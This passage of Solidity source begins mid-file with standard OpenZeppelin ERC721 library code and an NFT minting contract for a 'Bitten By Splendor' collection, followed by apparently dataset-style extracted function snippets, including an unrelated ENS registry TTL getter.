strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/[email protected]/IERC165 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // Part: OpenZeppelin/[email protected]/IERC721Receiver /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // Part: OpenZeppelin/openzeppelin-co[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/Strings /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // Part: OpenZeppelin/[email protected]/ERC165 /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // Part: OpenZeppelin/[email protected]/IERC721 /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // Part: OpenZeppelin/[email protected]/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // Part: OpenZeppelin/[email protected]/IERC721Enumerable /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // Part: OpenZeppelin/[email protected]/IERC721Metadata /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // Part: OpenZeppelin/[email protected]/ERC721 /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(base, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view virtual returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // File: BbsContract.sol contract BbsContract is ERC721, Ownable { uint256 private constant MIN_SEQ_NUM = 1; uint256 private constant MAX_SEQ_NUM = 585; bool private isMintEnabled; uint256[8] private groupPricesWei; constructor(string memory _baseURI, uint256[8] memory _groupPricesWei, uint256[] memory _reserveTokenIds) ERC721 ("Bitten By Splendor", "BBS") { _setBaseURI(_baseURI); //set the initial prices setGroupPricesWei(_groupPricesWei); //if the contract creator requested that some tokens be reserved //then reserve them now for (uint256 i=0; i < _reserveTokenIds.length; i++) { uint256 tokenId = _reserveTokenIds[i]; reserve(tokenId); } setIsMintEnabled(true); } // Public functions accessible to anyone //------------------------------------------------------------------------- //mints the item with the given tokenId and transfers it to the caller. //funds to pay for the item must be transferred with the request. function mint(uint256 tokenId) public payable { require(isMintEnabled, "Items are not currently mintable." ); uint256 priceWei = getPriceWei(tokenId); require(msg.value >= priceWei, "Insufficient ETH sent to purchase."); //this function confirms that the given tokenId has't previously been minted _bbsMint(tokenId); } function getAvailableTokens() public view returns (bool[MAX_SEQ_NUM] memory){ bool[MAX_SEQ_NUM] memory availableTokens; for (uint256 tokenId=MIN_SEQ_NUM; tokenId < MAX_SEQ_NUM; tokenId++) { availableTokens[tokenId-1] = !_exists(tokenId); } return availableTokens; } //gets the price of an item in the collection with a given token id. //prices are defined by a step function according to token id. //lower tokenIds cost more. function getGroupPricesWei() public view returns (uint256[8] memory) { return groupPricesWei; } //gets the price of an item in the collection with a given token id. //prices are defined by a step function according to token id. //lower tokenIds cost more. function getPriceWei(uint256 tokenId) public view returns (uint256){ if (tokenId < 10) { return groupPricesWei[0]; } if (tokenId < 50) { return groupPricesWei[1]; } if (tokenId < 100) { return groupPricesWei[2]; } if (tokenId < 200) { return groupPricesWei[3]; } if (tokenId < 300) { return groupPricesWei[4]; } if (tokenId < 400) { return groupPricesWei[5]; } if (tokenId < 500) { return groupPricesWei[6]; } return groupPricesWei[7]; } //checks if the contract currently permits minting of random items. function getIsMintEnabled() public returns (bool) { return isMintEnabled; } // Public functions only accessible to the contract owner //------------------------------------------------------------------------- function setGroupPricesWei(uint256[8] memory _groupPricesWei) public onlyOwner { require(_groupPricesWei.length == groupPricesWei.length, "The group prices array must contain one element for each pricing group."); for(uint256 i = 0; i < _groupPricesWei.length; i++) { groupPricesWei[i] = _groupPricesWei[i]; } } function setIsMintEnabled(bool _isMintEnabled) public onlyOwner { isMintEnabled = _isMintEnabled; } function reserve(uint256 tokenId) public onlyOwner { _bbsMint(tokenId); } function withdraw() public onlyOwner { uint256 balance = address(this).balance; msg.sender.transfer(balance); } // Private functions //------------------------------------------------------------------------- function _bbsMint(uint256 tokenId) private { _safeMint(msg.sender, tokenId); } }
mints the item with the given tokenId and transfers it to the caller.funds to pay for the item must be transferred with the request.this function confirms that the given tokenId has't previously been minted
function mint(uint256 tokenId) public payable { require(isMintEnabled, "Items are not currently mintable." ); uint256 priceWei = getPriceWei(tokenId); require(msg.value >= priceWei, "Insufficient ETH sent to purchase."); _bbsMint(tokenId); }
15,121,477
./full_match/44787/0xFA766A11cEA1f9d5d1Bd1A1F861250b0B6D38b47/sources/contracts/registry/ENSRegistryUpgradeable.sol
Returns the TTL of a node, and any records associated with it. _node The specified node. return ttl of the node./
function ttl(bytes32 _node) public view virtual override returns (uint64) { return records[_node].ttl; }
13,265,270
